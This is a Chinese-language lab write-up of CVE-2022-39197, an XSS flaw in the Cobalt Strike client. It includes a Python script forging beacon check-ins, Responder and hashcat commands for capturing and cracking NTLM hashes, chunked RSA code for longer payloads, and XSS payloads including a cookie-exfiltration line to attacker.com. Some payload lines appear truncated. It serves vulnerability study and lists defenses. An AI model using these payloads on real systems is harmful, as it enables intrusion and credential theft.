针对CS最新XSS漏洞的详细研究--CVE-2022-39197
字数 1261 2025-08-12 11:34:39
CVE-2022-39197:Cobalt Strike XSS漏洞分析与利用指南
1. 漏洞概述
CVE-2022-39197是Cobalt Strike(CS)客户端中存在的一个跨站脚本(XSS)漏洞,主要由于CS客户端能够渲染HTML内容,攻击者可以通过伪造上线请求,在计算机名、用户名等字段中注入恶意脚本,从而实现对CS控制端的攻击。
2. 漏洞原理分析
2.1 Cobalt Strike上线流量分析
实验环境配置:
- 本地主机(Windows 11): 192.168.52.1
- 服务端(Windows 10): 192.168.52.129
- 被控端(Windows 10): 192.168.52.140
上线流量关键点:
- 生成裸奔马(无加密payload)在被控端执行
- 使用Wireshark抓包分析应用层流量(HTTP协议)
- 关键数据包分析:
- 第3和第4个数据包包含加密的Cookie值
- 该加密值疑似使用RSA非对称加密
- 这是CS的心跳包(上线请求)
2.2 RSA加密验证
通过Python模拟上线请求:
import requests
import time
url = 'http://192.168.52.128/fwlink'
header = {
"Cookie":"OphJmHM6fR6cjpj4DMdsF3epxwniVsGao14/2a2WmqR0EoEqKdrz92bfuNUurfO1m2NGY/YgEp6tiaZr1JpVaUa2mGYPjEJCiLxBj13VGk31G4E6uI5bG5EPvM4RjWUMZnrlfJiWNGygdJGeH9mpXz40zPFT1VjWd49Wf0QKZog=",
"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP06)",
"Host":"192.168.52.128",
"Connection":"Keep-Alive",
"Cache-Control":"no-cache"
}
while True:
requests.get(url,headers=header)
time.sleep(10)
RSA公钥提取:
- 使用CobaltStrikeParser工具分析Stage
- 真实RSA公钥(去除填充的AAAAA部分):
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKCnNWl64nFkgSz/CstkQXvrq/6bxXcI55UIsPyzIkoTG/zwF6yxfFTOiufyP4Ji0Dc9dI+K+yZhbr5Ou0h8fSjlOaaD+fEq24JN/BNXGwVTBATmwuxoGRezMxr7XvN2O/mtItwT8uFSv5RsITh1JVC3Qdyt+wO/Ng2L80NepiWQIDAQAB
3. 漏洞利用方法
3.1 批量伪造上线
使用LiAoRJ的CS_fakesubmit工具:
- GitHub地址:https://github.com/LiAoRJ/CS_fakesubmit
- 原理:修改Stage中不同位置对应的值实现伪造上线
3.2 XSS漏洞利用
漏洞位置:
- 计算机名(Computer Name)
- 用户名(User Name)
- 其他可被HTML渲染的字段
利用场景1:获取NTLM哈希
- 启动Responder监听:
responder -v -I eth0
- 构造XSS Payload:
<html>
- 修改CS_fakesubmit工具:
- 原始rsa.encrypt函数最多加密117字节
- 需要修改脚本以支持更长payload
-
执行伪造上线
-
捕获NTLM哈希后爆破:
hashcat -m 5600 ./test /Black/zidian/fuzzDicts/passwordDict/top500.txt --force
4. 防御措施
-
输入验证:
- 对所有客户端输入字段进行严格的HTML过滤
- 禁用HTML标签渲染功能
-
网络隔离:
- 将Cobalt Strike服务器置于隔离网络
- 限制CS服务器出站连接
-
监控与检测:
- 监控异常上线行为
- 检测伪造的心跳包请求
-
更新与补丁:
- 及时更新到官方修复版本
- 关注安全公告
5. 参考资源
- CobaltStrikeParser工具:https://github.com/Sentinel-One/CobaltStrikeParser
- CS_fakesubmit工具:https://github.com/LiAoRJ/CS_fakesubmit
- 漏洞分析原文:https://forum.butian.net/share/708
6. 附录
6.1 修改后的CS_fakesubmit关键代码
# 修改加密函数以支持更长payload
def rsa_encrypt_long(plaintext, public_key):
"""
支持长文本的分块RSA加密
"""
chunk_size = 117 # RSA加密最大块大小
encrypted_chunks = []
for i in range(0, len(plaintext), chunk_size):
chunk = plaintext[i:i+chunk_size]
encrypted_chunks.append(rsa.encrypt(chunk, public_key))
return b''.join(encrypted_chunks)
6.2 常见XSS Payload示例
- 获取NTLM哈希:
- 执行JavaScript代码:
<script>alert(document.cookie)</script>
- 外联数据:
<script>new Image().src="http://attacker.com/steal?data="+encodeURIComponent(document.cookie);</script>